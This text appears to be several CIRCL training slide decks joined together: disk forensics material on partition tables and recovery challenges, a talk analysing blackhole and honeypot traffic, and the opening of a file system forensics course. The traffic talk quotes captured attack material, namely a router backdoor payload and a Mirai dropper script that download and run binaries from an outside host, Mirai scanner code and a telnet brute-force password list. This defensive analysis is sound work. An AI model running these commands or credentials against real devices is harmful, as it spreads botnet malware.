- Exercise: Find password in unused space before first partition

5.7 EBR - Extended Partitions

```
MBR:   000001b0: 0000 0000 0000 0000 d7b8 0cae 0000 0014
       000001c0: 0904 050f 823e 0008 0000 0000 0400 0000


                          Extended Partition Container
-------------------------------------------------------------------------------
|EBR|000|     Logical     |                                                   |
-------------------------------------------------------------------------------
    ---->                 ---------------------------
    ---------------------> |EBR|000|     Logical     |
     Extended Partition    ---------------------------
                               ---->                  -----------------------
    ------------------------------------------------> |EBR|000|  Logical  |
                              Extended Partition      -----------------------
                                                          ---->

EBR_01:   001001b0: 0000 0000 0000 0000 0000 0000 0000 0029
          001001c0: 0708 0717 0a2c 0008 0000 0040 0000 0018
          001001d0: 012c 051f 4206 0048 0000 0088 0100 0000

          EBR_02:   00A001B0: 0000 0000 0000 0000 0000 0000 0000 002C
                    00A001C0: 0930 071F 4206 0008 0000 0080 0100 001F
                    00A001D0: 4306 0503 8228 00D0 0100 0008 0200 0000

                    EBR_03:   03B001B0: 0000 0000 0000 0000 0000 0000 0000 0006
                              03B001C0: 410B 0703 8228 0008 0000 0000 0200 0000
                              03B001D0: 0000 0000 0000 0000 0000 0000 0000 0000
```

5.8 GPT - GUID Partition Table

- BIOS → UEFI - Unified Extensible Firmware Interface
- GUID - Globally Unique Identifier for each partition
  → GUID Partition Table
- Protective MBR at LBA0
  - One single entry covering the entire disk
  - Partition type 0xEE
    if 0xEE unknown → Not empty → Not formatted
- GPT header at LBA1
- GPT entries at LBA2 → LBA34
- GPT entries: 128 Bytes
- GPT backup at end of disk

5.8 GPT - GUID Partition Table

Figure: Image (c) wikipedia.org - Image used solely for illustration purposes

5.9 VBR - Volume Boot Record - Boot Sector

```
# dd if=/dev/sdc1 bs=512 count=1 skip=0 |xxd

0000000: eb58 906d 6b64 6f73 6673 0000 0208 2000  .X.mkdosfs.... .     # 0xeb 0x58 0x90
0000010: 0200 0000 00f8 0000 3e00 f800 0000 0000  ........>.......     # JMP  2+88 NOP
0000030: 0100 0600 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 29a2 20e9 9c46 4154 2020 2020 2020  ..). ..FAT
0000050: 2020 4641 5433 3220 2020 0e1f be77 7cac    FAT32   ...w|.
0000060: 22c0 740b 56b4 0ebb 0700 cd10 5eeb f032  ".t.V.......^..2
...
...
00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.


0 - 2            Size:  3    Jump to bootstrap code
3 - 10           Size:  8    OEM-ID: mkdosfs
11 - 12          Size:  2    Bytes per sector: 0x0002 -> 0x0200 (little endian)-> 512
13 (0xD)         Size:  1    Sectors per cluster: 0x08 -> 4096 bytes per cluster
50 (0x32) - 51   Size:  2    Boot sector backup: 0x0600 -> 0x0006 -> at sector 6
67 (0x43) - 70   Size:  4    Volume serial number: 0xa220e99c -> 0x9ce920a2
71 (0x47)        Size: 11    Volume label: FAT
82 (0x52)        Size:  8    Partition type: FAT32
90 (0x5A)- 509 (0x1FD)       Bootstrap code
510 (0x1FE)      Size:  2    Signature: 0x55AA
```

- Demo: Sleuthkit tools: `mmstat`, `mmls`, `fsstat`

CIRCL
FORENSICS Training

6. Forensics Challenges

6.1 Hide and recover data

- Situation:
  - USB stick image
  - One partition
  - Several unallocated sectors

- Challenge:
  - Hide a message in unallocated sector
  - Recover the message
  - Hide a binary in unallocated sectors
  - Recover the binary

- Hiding Data outside the file system

  `https://cyberday.lu/wp-content/uploads/2024/10/05_CIRCL_CyberDayLu2024.pdf`

6.2 Recovering corrupt MBR

- Situation:
  - USB stick image
  - Several partitions available
  - At least one partition do not mount
- Challenge:
  - Examine the partition table
  - Find the first sector of the partition
  - Fix the Master Boot Record - MBR
  - Analyze the other offsets
  - Analyze unallocated sectors

6.2 Recovering corrupt MBR

1. Examine the partition table

```
$ fdisk -l mbr/mbr_ex.raw
    Sector size (logical/physical): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x9392806f

    Device           Boot  Start    End  Sectors  Size Id Type
    mbr/mbr_ex.raw1         2050  67585    65536   32M  c W95 FAT32 (LBA)
    mbr/mbr_ex.raw2        67586 133119    65534   32M  c W95 FAT32 (LBA)
    mbr/mbr_ex.raw3       133120 262142   129023   63M  c W95 FAT32 (LBA)


$ mmls mbr/mbr_ex.raw
    DOS Partition Table
    Offset Sector: 0
    Units are in 512-byte sectors

          Slot      Start        End          Length       Description
    000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
    001:  -------   0000000000   0000002049   0000002050   Unallocated
    002:  000:000   0000002050   0000067585   0000065536   Win95 FAT32 (0x0c)
    003:  000:001   0000067586   0000133119   0000065534   Win95 FAT32 (0x0c)
    004:  000:002   0000133120   0000262142   0000129023   Win95 FAT32 (0x0c)
    005:  -------   0000262143   0000262143   0000000001   Unallocated
```

6.2 Recovering corrupt MBR

2. Investigate start of 1th partition

```
dd if=mbr/mbr_ex.raw skip=2050 count=1 status=none | xxd | less
dd if=mbr/mbr_ex.raw skip=2047 count=4 status=none | xxd | less
```

Fix LBA Start vaule of 1th partition entry

```
Calculation: 2048 = 0x00000800 => little endian: 0X00080000
    Replace 0X02080000 with 0X00080000

hexedit -l 16 mbr/mbr_ex.raw
    000001C0   21000C34  30040008  00000000  01000033
```

Review partition table and file system stats

```
mmls mbr/mbr_ex.raw
          Slot      Start        End          Length       Description
    000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
    001:  -------   0000000000   0000002047   0000002048   Unallocated
    002:  000:000   0000002048   0000067583   0000065536   Win95 FAT32 (0x0c)
    003:  -------   0000067584   0000067585   0000000002   Unallocated
    004:  000:001   0000067586   0000133119   0000065534   Win95 FAT32 (0x0c)
    005:  000:002   0000133120   0000262142   0000129023   Win95 FAT32 (0x0c)
    006:  -------   0000262143   0000262143   0000000001   Unallocated
```

6.2 Recovering corrupt MBR

3. Investigate end of 1th and start of 2nd partition

```
fsstat -o 2048 mbr/mbr_ex.raw
    File System Type: FAT16
    Total Range: 0 - 65535
    ....
   --> Size of partition 1 is okay


sigfind -o 510 -l AA55 mbr/mbr_ex.raw
    Block: 0 (-)
    Block: 2048 (+2048)
    Block: 67586 (+65538)
    Block: 133120 (+65534)


fsstat -o 67586 mbr/mbr_ex.raw
    File System Type: FAT16
    Total Range: 0 - 65533
    ....
   --> Start of partition 2 is okay
   --> There are 2 unallocated sectors in between
   --> Size of partition 2 is okay
```

Investigate the sectors

```
dd if=mbr/mbr_ex.raw skip=67583 count=4 | xxd | less
```

6.2 Recovering corrupt MBR

```
005:  000:002   0000133120   0000262142   0000129023   Win95 FAT32 (0x0c)
006:  --------  0000262143   0000262143   0000000001   Unallocated
```

```
4. Investigate 3rd partition
-----------------------------
    sigfind -o 510 -l AA55 mbr/mbr_ex.raw
        Block: 0 (-)
        Block: 2048 (+2048)
        Block: 67586 (+65538)
        Block: 133120 (+65534)


    fsstat -o 133120 mbr/mbr_ex.raw
        File System Type: FAT16
        Total Range: 0 - 129022
        ....
       --> Start of partition 3 is okay
       --> Size of partition 3 is okay
       --> There is 1 unallocated sector at end of disk


Investigate the last 2 sectors of disk
---------------------------------------
    dd if=mbr/mbr_ex.raw skip=262142 | xxd | less
```

6.3 Lost in Hyperspace: USB stick investigation

- Situation:
  - USB stick image with one extended partition
  - Some logical partitions available
  - Countles partitions get mounted
- Challenge:
  - Analyze USB stick with standard tools
  - Analyze MBR with a hexeditor
  - Discover whats going wrong
  - Fix the broken values

6.3 Lost in Hyperspace: USB stick investigation

USB stick before manipulation:

```
# dmesg -T
     [Do Jan 23 21:40:07 2020] sd 1:0:0:0: [sdb] 250068992 512-byte logical blocks:
     [Do Jan 23 21:40:07 2020]  sdb: sdb1 < sdb5 sdb6 sdb7 >

# fdisk -l /dev/sdb
     Device     Boot  Start    End Sectors  Size Id Type
     /dev/sdb1         2048 264191  262144  128M  5 Extended
     /dev/sdb5         4096  20479   16384    8M  7 HPFS/NTFS/exFAT
     /dev/sdb6        22528 120831   98304   48M  7 HPFS/NTFS/exFAT
     /dev/sdb7       122880 253951  131072   64M  7 HPFS/NTFS/exFAT

# mount              /dev/sdb7 on /media/michael/DFIR
                     /dev/sdb6 on /media/michael/CIRCL
                     /dev/sdb5 on /media/michael/test

# df -ha | grep sdb
     /dev/sdb7             64M  2,5M   62M   4% /media/michael/DFIR
     /dev/sdb6             48M  2,5M   46M   6% /media/michael/CIRCL
     /dev/sdb5            8,0M  2,5M  5,6M  31% /media/michael/test
```

Manipulation 4 bytes:

```
# hexedit /dev/sdb
     .....
     03B001C0   41 0B 07 03  82 28 00 08  00 00 00 00  02 00 00 00  A....(..........
     03B001D0   00 00 05 00  00 00 00 48  00 00 00 88  01 00 00 00  .......H........
```

6.3 Lost in Hyperspace: WTF

6.3 Lost in Hyperspace: USB stick investigation

```
$ fdisk -l /dev/sdb

    Device        Boot  Start    End  Sectors  Size  Id  Type
    /dev/sdb1            2048  264191  262144  128M   5  Extended
    /dev/sdb5            4096   20479   16384    8M   7  HPFS/NTFS/exFAT
    /dev/sdb6           22528  120831   98304   48M   7  HPFS/NTFS/exFAT
    /dev/sdb7          122880  253951  131072   64M   7  HPFS/NTFS/exFAT
    /dev/sdb8           22528  120831   98304   48M   7  HPFS/NTFS/exFAT
    /dev/sdb9          122880  253951  131072   64M   7  HPFS/NTFS/exFAT
          .....
          .....
    /dev/sdb56          22528  120831   98304   48M   7  HPFS/NTFS/exFAT
    /dev/sdb57         122880  253951  131072   64M   7  HPFS/NTFS/exFAT
    /dev/sdb58          22528  120831   98304   48M   7  HPFS/NTFS/exFAT
    /dev/sdb59         122880  253951  131072   64M   7  HPFS/NTFS/exFAT
    /dev/sdb60          22528  120831   98304   48M   7  HPFS/NTFS/exFAT

$ mount
          .....
    /dev/sdb79 on /media/michael/DFIR25
    /dev/sdb82 on /media/michael/CIRCL28
    /dev/sdb86 on /media/michael/CIRCL33
          .....
          .....
    /dev/sdb162 on /media/michael/CIRCL68
    /dev/sdb163 on /media/michael/DFIR73
    /dev/sdb166 on /media/michael/CIRCL64
```

6.3 Lost in Hyperspace: USB stick investigation

Do further investigations:

```
$ df -ha

      .....
/dev/sdb157          64M  2,5M   62M   4% /media/michael/DFIR72
/dev/sdb158          48M  2,5M   46M   6% /media/michael/CIRCL63
/dev/sdb159          64M  2,5M   62M   4% /media/michael/DFIR69
/dev/sdb160          48M  2,5M   46M   6% /media/michael/CIRCL67
/dev/sdb162          48M  2,5M   46M   6% /media/michael/CIRCL68
/dev/sdb163          64M  2,5M   62M   4% /media/michael/DFIR73
      .....

$ mmls /dev/sdb                          --> Nothing... WTF?
```

Any ideas how to proceed?

→ Use hexeditor to read the partition table

6.3 Lost in Hyperspace: Solution step 1

```
                                Extended Partition Container
 ------------------------------------------------------------------------------------------
 |EBR|000|      Logical      |                                                            |
 ------------------------------------------------------------------------------------------
     ---->                    ----------------------------
     ----------------------> |EBR|000|      Logical      |
      Extended Partition      ----------------------------
                                  ---->                      ----------------------
                                  ----------------------> |EBR|000|   Logical   |
                                   Extended Partition       ----------------------
                                                                ---->
```

```
EBR_01:   001001b0: 0000 0000 0000 0000 0000 0000 0000 0029
          001001c0: 0708 0717 0a2c 0008 0000 0040 0000 0018
          001001d0: 012c 051f 4206 0048 0000 0088 0100 0000

          EBR_02:   00A001B0: 0000 0000 0000 0000 0000 0000 0000 002C
                    00A001C0: 0930 071F 4206 0008 0000 0080 0100 001F
                    00A001D0: 4306 0503 8228 00D0 0100 0008 0200 0000

                    EBR_03:   03B001B0: 0000 0000 0000 0000 0000 0000 0000 0006
                              03B001C0: 410B 0703 8228 0008 0000 0000 0200 0000
                              03B001D0: 0000 0000 0000 0000 0000 0000 0000 0000
```

6.3 Lost in Hyperspace: Solution step 2

```
                          Extended Partition Container
------------------------------------------------------------------------------
|EBR|000|     Logical     |                                                  |
------------------------------------------------------------------------------
    ---->                 ---------------------------
    ---------------------> |EBR|000|     Logical     |
     Extended Partition   ---------------------------
                              ---->                   ----------------------
                              ---------------------> |EBR|000|  Logical  |
                               Extended Partition    ----------------------
                                                         ---->
                          <-----------------------------
```

```
EBR_01:   001001b0: 0000 0000 0000 0000 0000 0000 0000 0029
          001001c0: 0708 0717 0a2c 0008 0000 0040 0000 0018
          001001d0: 012c 051f 4206 0048 0000 0088 0100 0000

          EBR_02:   00A001B0: 0000 0000 0000 0000 0000 0000 0000 002C
                    00A001C0: 0930 071F 4206 0008 0000 0080 0100 001F
                    00A001D0: 4306 0503 8228 00D0 0100 0008 0200 0000

                    EBR_03:   03B001B0: 0000 0000 0000 0000 0000 0000 0000 0006
                              03B001C0: 410B 0703 8228 0008 0000 0000 0200 0000
                              03B001D0: 0000 0500 0000 0048 0000 0088 0100 0000
```

CIRCL
FORENSICS Training

6. Bibliography and Outlook

6.1 Outlook

CIRCL - DFIR 1.0.2

File System Forensics and Data Recovery

CIRCL - DFIR 1.0.3

Windows-, Memory- and File Forensics

6.2 Bibliography

- Digital Forensics with Kali Linux
  Shiva V.N. Parasram
  Packt Publishing
  ISBN-13: 978-1-78862-500-5

- Practical Forensic Imaging
  Bruce Nikkel
  No Starch Press
  ISBN-13: 978-1-59-327793-2

- Digital Forensics with Open Source Tools
  Cory Altheide, Harlan Carvey
  Syngress
  ISBN-13: 978-1-59-749586-8

6.2 Bibliography

- File System Forensic Analysis
  Brian Carrier
  Pearson Education
  ISBN-13: 978-0-32-126817-4

- Forensic Computing: A Practitioner's Guide
  Anthony Sammes, Brian Jenkinson
  Springer
  ISBN-13: 978-1-85-233299-0

Overview

1. Introduction
2. Information
3. Disk Acquisition
4. Disk Cloning / Disk Imaging
5. Disk Analysis
6. Forensics Challenges
7. Bibliography and Outlook

Analysing black-hole monitoring dataset

How to better understand DDoS attacks from backscatter traffic, opportunistic network scanning and exploitation

Team CIRCL - *TLP:WHITE*

CIRCL

May 30, 2025

Outline

Introduction

Blackhole & honeypot operation

Data processing

Analysis of denial of service attacks

Introduction

CIRCL
Computer Incident
Response Center
Luxembourg

- The Computer Incident Response Center Luxembourg (CIRCL) is a government-driven initiative designed to provide a systematic response facility to computer security threats and incidents.
- CIRCL is the CERT for the private sector, communes and non-governmental entities in Luxembourg.

Blackhole & honeypot operation

Motivation and background

- IP darkspace or blackhole is
  - **Routable non-used address space** of an ISP (Internet Service Provider),
  - incoming traffic is unidirectional
  - and **unsolicited**.
- Is there any traffic in those darkspaces?
- If yes, what and why does it arrive there?
  - And **on purpose** or **by mischance**?
- What's the security impact?
- What are the security recommendations?

Blackhole & honeypot operation

Collection and analysis framework

Blackhole operation

Definition (Principle)

- KISS (Keep it simple stupid)
- Linux & OpenBSD operating systems

Sensor

```
tcpdump -l -s 65535 -n -i vr0 -w - '(␣not␣port␣$PORT␣
    and␣not␣host␣$HOST␣)' | socat - OPENSSL-CONNECT:
    $COLLECTOR:$PORT,cert=/etc/openssl/client.pem,cafile
    =/etc/openssl/ca.crt,verify=1
```

Honeypot operation (collection)

Generic TCP server

```
socat -T 60 -u TCP4-LISTEN:1234,reuseaddr,fork,max-
    children=$MAXFORKS CREATE:/dev/null
```

Generic UDP server

```
/usr/local/bin/socat -T 60 -u UDP4-LISTEN:1235,fork,
    max-children=$MAXFORKS CREATE:/dev/null
```

Redirections

```
pass in on vr0 proto udp from any to any port 1:65535
    rdr-to 127.0.0.1 port 1235 label rdr-udp
pass in on vr0 proto tcp from any to any port 1:65535
    rdr-to 127.0.0.1 port 1234 label rdr-tcp
```

Blackhole & honeypot operation

Data collection

Server

```
socat OPENSSL-LISTEN:$PORT,reuseaddr,cert=server.pem,
    cafile=ca.crt,keepalive,keepidle=30,keepcnt=3 STDOUT
     | tcpdump -n -r - -G 300 -w data/honeypot-1-%Y%m%d%
    H%M%S.cap
```

File organization

```
2017/
2017/11
2017/11/H-20171113234424.cap.gz
```

- 288 files per day
- SquashFS → reduce inodes

Data processing

Network packet dissection

Data processing

How does the data look like?

```
▶ Frame 179: 237 bytes on wire (1896 bits), 237 bytes captured (1896 bits)
▶ Ethernet II, Src: AvmAudio_3a:d8:ea (38:10:d5:3a:d8:ea), Dst: IntelCor_ab:56:df (00:28:f8:ab:56:df)
▶ Internet Protocol Version 4, Src: 192.168.178.1, Dst: 192.168.178.33
▼ User Datagram Protocol, Src Port: 53, Dst Port: 46749
    Source Port: 53
    Destination Port: 46749
    Length: 203
    Checksum: 0x740c [unverified]
    [Checksum Status: Unverified]
    [Stream index: 7]
▼ Domain Name System (response)
    [Request In: 172]
    [Time: 0.125514000 seconds]
    Transaction ID: 0x5b43
  ▶ Flags: 0x8180 Standard query response, No error
    Questions: 1
    Answer RRs: 1
    Authority RRs: 3
    Additional RRs: 1
  ▼ Queries
    ▶ 5.2.0.0.9.6.0.0.8.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.d.1.2.2.0.a.2.ip6.arpa: type PTR, class IN
  ▶ Answers
  ▶ Authoritative nameservers
  ▶ Additional records
```

```
0000  00 28 f8 ab 56 df 38 10  d5 3a d8 ea 08 00 45 00   .(..V.8. .:....E.
0010  00 df 2f f7 00 00 40 11  64 a3 c0 a8 b2 01 c0 a8   ../...@. d.......
0020  b2 21 00 35 b6 9d 00 cb  74 0c 5b 43 81 80 00 01   .!.5.... t.[C....
0030  00 01 00 03 00 01 01 35  01 32 01 30 01 30 01 39   .......5 .2.0.0.9
0040  01 36 01 30 01 30 01 38  01 36 01 30 01 30 01 30   .6.0.0.8 .6.0.0.0
0050  01 30 01 30 01 30 01 30  01 30 01 30 01 30 01 30   .0.0.0.0 .0.0.0.0
0060  01 30 01 30 01 30 01 30  01 64 01 31 01 32 01 32   .0.0.0.0 .d.1.2.2
0070  01 30 01 61 01 32 03 69  70 36 04 61 72 70 61 00   .0.a.2.i p6.arpa.
0080  00 0c 00 01 c0 0c 00 0c  00 01 00 00 0e 10 00 11   ........ ........
0090  02 6b 62 08 71 75 75 78  6c 61 62 73 03 63 6f 6d   .kb.quux labs.com
00a0  00 c0 3c 00 02 00 01 00  00 0e 10 00 11 03 6e 73   ..<..... ......ns
00b0  32 08 6d 61 65 68 64 72  6f 73 02 62 65 00 c0 3c   2.maehdr os.be..<
00c0  00 02 00 01 00 00 0e 10  00 06 03 6e 73 31 c0 87   ........ ...ns1..
00d0  c0 3c 00 02 00 01 00 00  0e 10 00 06 03 6e 73 33   .<...... .....ns3
00e0  c0 87 00 00 29 10 00 00  00 80 00 00 00            ....)... .....
```

Data processing

Principles

- Avoid json exports such as provided by tshark[1] (ek option) or Moloch[2]
- Multiplies data volume up to 15 times
- On 2.18 TB compressed packet captures give 32 TB
- Avoid writing and reading from the same disk
- Keep raw data as long as possible

[1] https://www.wireshark.org/docs/man-pages/tshark.html
[2] https://github.com/aol/moloch

Data processing

Preprocessing data

```
find 2017/ -type f | sort | parallel -j7 extract.sh {}

#extract.sh
T=`echo $F | sed 's#/sensors/#/anlysis/pcaps/#g' | sed
    's/.gz//g'`
D=`dirname $T`
mkdir -p $D
zcat $F | tcpdump -n -r - -w $T "`cat␣filter`"
```

Data processing

Parsing data

```
find analysis/ -type f | sort | parallel -j 7 parse.sh
    {}
#parse.sh
T=`echo $F | sed 's#/source#/parsed/#g' | sed 's/cap$/
    txt/g'`
D=`dirname $T`
mkdir -p $D
tshark -n -E separator='|' -r $F -T fields -e frame.
    time_epoch -e ip.src > $T
```

Data processing

Distributed counting

```
find parsed/ -type f | sort | parallel -j7 record.py {}
```

```
for line in open(sys.argv[1], "rb"):
    (epoch, ipsrc,ipdst) = line.split(b"|")
    t = datetime.datetime.fromtimestamp(float(epoch))
    day = bytes(t.strftime("%Y%m%d"),"ascii")
    red.zincrby(k,ip.src,1)
```

Analysis of denial of service attacks

Observing SYN floods attacks in backscatter traffic

Attack description

Connections
H_0
H_1
H_2
H_3

Fill up state connection state table of the victim

How does backscatter look like?

```
2017-09-16 10:02:22.807286 IP x.45.177.71.80 > x.x
    .105.167.39468: Flags [.], ack 1562196897, win
    16384, length 0
2017-09-16 10:02:27.514922 IP x.45.177.71.80 > x.x
    .121.213.62562: Flags [.], ack 14588990, win 16384,
    length 0
2017-09-16 10:02:28.024516 IP x.45.177.71.80 > x.x
    .100.72.30395: Flags [.], ack 24579479, win 16384,
    length 0
2017-09-16 10:02:30.356876 IP x.45.177.71.80 > x.x
    .65.254.17754: Flags [.], ack 318490736, win 16384,
    length 0
```

What are the typical characteristics?

What can be derived from backscatter traffic?

- External point of view on ongoing denial of service attacks
- Confirm if there is a DDOS attack
- Recover time line of attacked targets
- Confirm which services (DNS, webserver, . . .)
- Infrastructure changes
- Assess the state of an infrastructure under denial of service attack
  - Detect failure/addition of intermediate network equipments, firewalls, proxy servers etc
  - Detect DDOS mitigation devices
- Create probabilistic models of denial of service attacks

Confirm if there is a DDOS attack

Problem

- Distinguish between compromised infrastructure and backscatter
- Look at TCP flags → filter out single SYN flags
- Focus on ACK, SYN/ACK, ...
- Do not limit to SYN/ACK or ACK → ECE (ECN Echo)[3]

```
tshark -n -r capture-20170916110006.cap.gz -T fields -e
    frame.time_epoch -e ip.src -e tcp.flags
1505552542.807286000 x.45.177.71 0x00000010
1505552547.514922000 x.45.177.71 0x00000010
```

[3] https://tools.ietf.org/html/rfc3168

Counting denial of service attacks

20170311
20170328
20170504
20170505
20170529
20170808
20170913
20170914
20170915
20170922

Discover targeted services

TCP services

```
find . -type f | parallel -j 7 tshark -n -r {} -T
    fields -e tcp.srcport | sort | uniq -c
```

Frequency	TCP source port
868	53
2625	80

- Do not forget UDP
- ICMP → Network, Host Port unreachable
- GRE

Infrastructure assessment

- Inspect TTL (Time to Live Values)
- Focus on initial TTL values (255,128,64)

```
find . -type f | parallel -j 7 tshark -n -r {} -T
   fields -e ip.src -e tcp.srcport -e ip.ttl

#Source IP sport TTL

x.45.176.71 80 51
x.45.176.71 80 51
x.45.176.71 80 51
x.45.176.71 80 51
x.45.176.71 80 51
```

Infrastructure changes

- Increase of TTL
  - Focus on differences
  - Network equipment was removed i.e. broken firewall
- Decrease of TTL
  - Network equipment was added
- Analyze distribution of absolute ACK numbers
- DDOS cleaning tools use MSB for tagging traffic
- Analyze source ports $\rightarrow$ detect load balancers

Observing SYN floods attacks in backscatter traffic

Plotting TCP acknowledgement numbers

Plotting TCP initial sequence numbers

Mirai case

Bot_2
Victim
Bot_1
Bot_0
$C\&C$
Dev_0
Dev_1
$Dev_{...}$
Server
Loader
$Attacker_{1...n}$
Botmaster

Mirai case

Discovering new devices

```
211                 iph->id = rand_next();
212                 iph->saddr = LOCAL_ADDR;
213                 iph->daddr = get_random_ip();
214                 iph->check = 0;
215                 iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
216
217                 if (i % 10 == 0)
218                 {
219                     tcph->dest = htons(2323);
220                 }
221                 else
222                 {
223                     tcph->dest = htons(23);
224                 }
225                 tcph->seq = iph->daddr;
226                 tcph->check = 0;
227                 tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
228
229                 paddr.sin_family = AF_INET;
230                 paddr.sin_addr.s_addr = iph->daddr;
231                 paddr.sin_port = tcph->dest;
232
233                 sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof
234             }
```

Mirai case

```
do
{
    tmp = rand_next();

    o1 = tmp & 0xff;
    o2 = (tmp >> 8) & 0xff;
    o3 = (tmp >> 16) & 0xff;
    o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 ||                              // 127.0.0.0/8      - Loopback
      (o1 == 0) ||                               // 0.0.0.0/8        - Invalid address space
      (o1 == 3) ||                               // 3.0.0.0/8        - General Electric Company
      (o1 == 15 || o1 == 16) ||                  // 15.0.0.0/7       - Hewlett-Packard Company
      (o1 == 56) ||                              // 56.0.0.0/8       - US Postal Service
      (o1 == 10) ||                              // 10.0.0.0/8       - Internal network
      (o1 == 192 && o2 == 168) ||                // 192.168.0.0/16   - Internal network
      (o1 == 172 && o2 >= 16 && o2 < 32) ||      // 172.16.0.0/14    - Internal network
      (o1 == 100 && o2 >= 64 && o2 < 127) ||     // 100.64.0.0/10    - IANA NAT reserved
      (o1 == 169 && o2 > 254) ||                 // 169.254.0.0/16   - IANA NAT reserved
      (o1 == 198 && o2 >= 18 && o2 < 20) ||      // 198.18.0.0/15    - IANA Special use
      (o1 >= 224) ||                             // 224.*.*.*+       - Multicast
      (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30
);

return INET_ADDR(o1,o2,o3,o4);
```

Mirai case

Mirai behavior observed in blackhole networks
https://www.circl.lu/
isn=ip dest
Unique IP addresses
1.2 × 10^6
1 × 10^6
800000
600000
400000
200000
0
09/01/16
11/01/16
01/01/17
03/01/17
05/01/17
07/01/17
09/01/17
day

Mirai case

New forks

IoT malware familes

- `Linux.Darlloz` (aka Zollard)
- `Linux.Aidra` / Linux.Lightaidra
- `Linux.Xorddos` (aka XOR.DDos)
- `Linux.Ballpit` (aka LizardStresser)
- `Linux.Gafgyt` (aka GayFgt, Bashlite)
- `Linux.Moose`
- `Linux.Dofloo` (aka AES.DDoS, Mr. Black)
- `Linux.Pinscan` / Linux.Pinscan.B (aka PNScan)
- `Linux.Kaiten` / Linux.Kaiten.B (aka Tsunami)
- `Linux.Routrem` (aka Remainten, KTN-Remastered, KTN-RM)
- `Linux.Wifatch` (aka Ifwatch)
- `Linux.LuaBot`

Source: `https://www.symantec.com/connect/blogs/iot-devices-being-increasingly-used-ddos-attacks`

Qbot

Brute force attacks telnet accounts

root	admin	user
login	guest	support
netgear	cisco	ubnt
telnet	Administrator	comcast
default	password	D-Link
manager	pi	VTech
vagrant		

Source: `http://leakedfiles.org/Archive/Malware/Botnet%20files/QboT%20Sources/BASHLITE/aresselfrep.c`

Qbot

Commands

- PING
- GETLOCALIP
- SCANNER $\rightarrow$ ON, OFF
- JUNK
- HOLD
- UDP flood
- HTTP flood
- CNC
- KILLATTK
- GTFOFAG
- FATCOCK

Netcore/Netis routers backdoor exploits

- Backdoor reported by Trendmicro the 8th August 2014[4]
- Send UDP packet on port 53413
- Payload must start with $AA\backslash 0AAAA\backslash 0$ followed with shell commands[5]
- Last observed packet 2017-11-15
- Pushed malware Mirai 748ea07b15019702cbf9c60934b43d82 Mirai variant?

[4] `http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/`

[5] `https://www.seebug.org/vuldb/ssvid-90227`

Injected URLS in UDP payloads

```
AA\x00\x00AAAA cd /tmp || cd /var/run || cd /mnt || cd
    /root || cd /; wget http://xx.xx.207.14/kanker;
    chmod 777 kanker; sh kanker; tftp xx.xx.207.14 -c
    get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp
    -r tftp2.sh -g xx.xx.207.14; chmod 777 tftp2.sh; sh
    tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21
    xx.xx.207.14 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf
    kanker tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x00\n
```

Injected URLS in UDP payloads

```
# Gucci Ares
# Kik:XVPL IG:Greek.Ares
#!/bin/sh
# Edit
WEBSERVER="xx.xx.207.14:80"
# Stop editing now
BINARIES="mirai.arm␣mirai.arm5n␣mirai.arm7␣mirai.x68␣
    mirai.x86␣mirai.m68k␣mirai.mips␣mirai.mpsl␣mirai.ppc
    ␣mirai.sh4␣mirai.spc"
for Binary in $BINARIES; do
    cd /tmp; echo ''>DIRTEST || cd /var; echo ''>DIRTEST
        ;wget http://$WEBSERVER/$Binary -O dvrHelper
    chmod 777 dvrHelper
    ./dvrHelper
done
```

Injected URLS in UDP payloads

Injected URLS in UDP payloads

Conclusions

- Backscatter is a very rich source of information
- Could even be abused by DDOS bots for fine tunning attacks
  - Detect infrastructure changes
  - Detect DDOS mitigation solutions
  - Risk need to introduce real traffic into spoofed traffic
- Large amount of vulnerable devices that could be abused
- Commodity routers were already abused in 2014
- They are still being abused
- Many variants are there $\rightarrow$ MISP
- It usually takes a lot of time to get machines fixed
- Want to get involved $\rightarrow$ host a sensor, provide unused IP space?
- Contact info@circl.lu

CIRCL - Digital Forensics 1.0.2

Introduction: File System Forensics and Data Recovery

CIRCL *TLP:CLEAR*

info@circl.lu

December, 2024

Overview

1. File System Analysis - Abstract
2. FAT - File Allocation Table
3. NTFS - New Technology File System
4. NTFS - Advanced
5. File System Time Line
6.
7. Carving and String Search
8. Forensics Challenges
9. Bibliography and Outlook

CIRCL
FORENSICS Training

1. File System Analysis - Abstract

1.1 Organizing data in files

```
- Organizing data on a volume
- Maintain file related meta data
- Maintain allocation status of clusters
```

```
                Metadata                                  Content
     ----------------------------------        ----------------------------------
   1 |                                  |        |                                  | 5001
     |                                  |        |                                  | 5002
     |                                  |        |                                  | 5003
     |                                  |        |                                  | 5004
     |                                  |        |                                  | 5005
     |----------------------------------|        |                                  | 5006
   2 |                                  |        |                                  | ...
     |                                  |        |                                  | ...
     |                                  |        |                                  | ...
     |                                  |        |                                  | ...
     |                                  |        |                                  | ...
     ----------------------------------        |                                  | ...
   3 |                                  |        |                                  | ...
     |              .....               |        |                                  | 5014
     ----------------------------------        ----------------------------------
                                                |        |        |        |       |
                                                0        8       16       24      31
```

Allocation table:

1.1 Organizing data in files

```
- Organizing data on a volume
- Maintain file related meta data
- Maintain allocation status of clusters
```

```
              Metadata                                  Content
   ----------------------------------        ------------------------------------
 1 |                                  |        |11111111111111111111111111111111|  5001
   |                                  |        |11111111111111111111111111111111|  5002
   |                                  |        |1111                            |  5003
   |                                  |        |                                |  5004
   |                                  |        |                                |  5005
   |----------------------------------|        |                                |  5006
 2 |                                  |        |                                |  ...
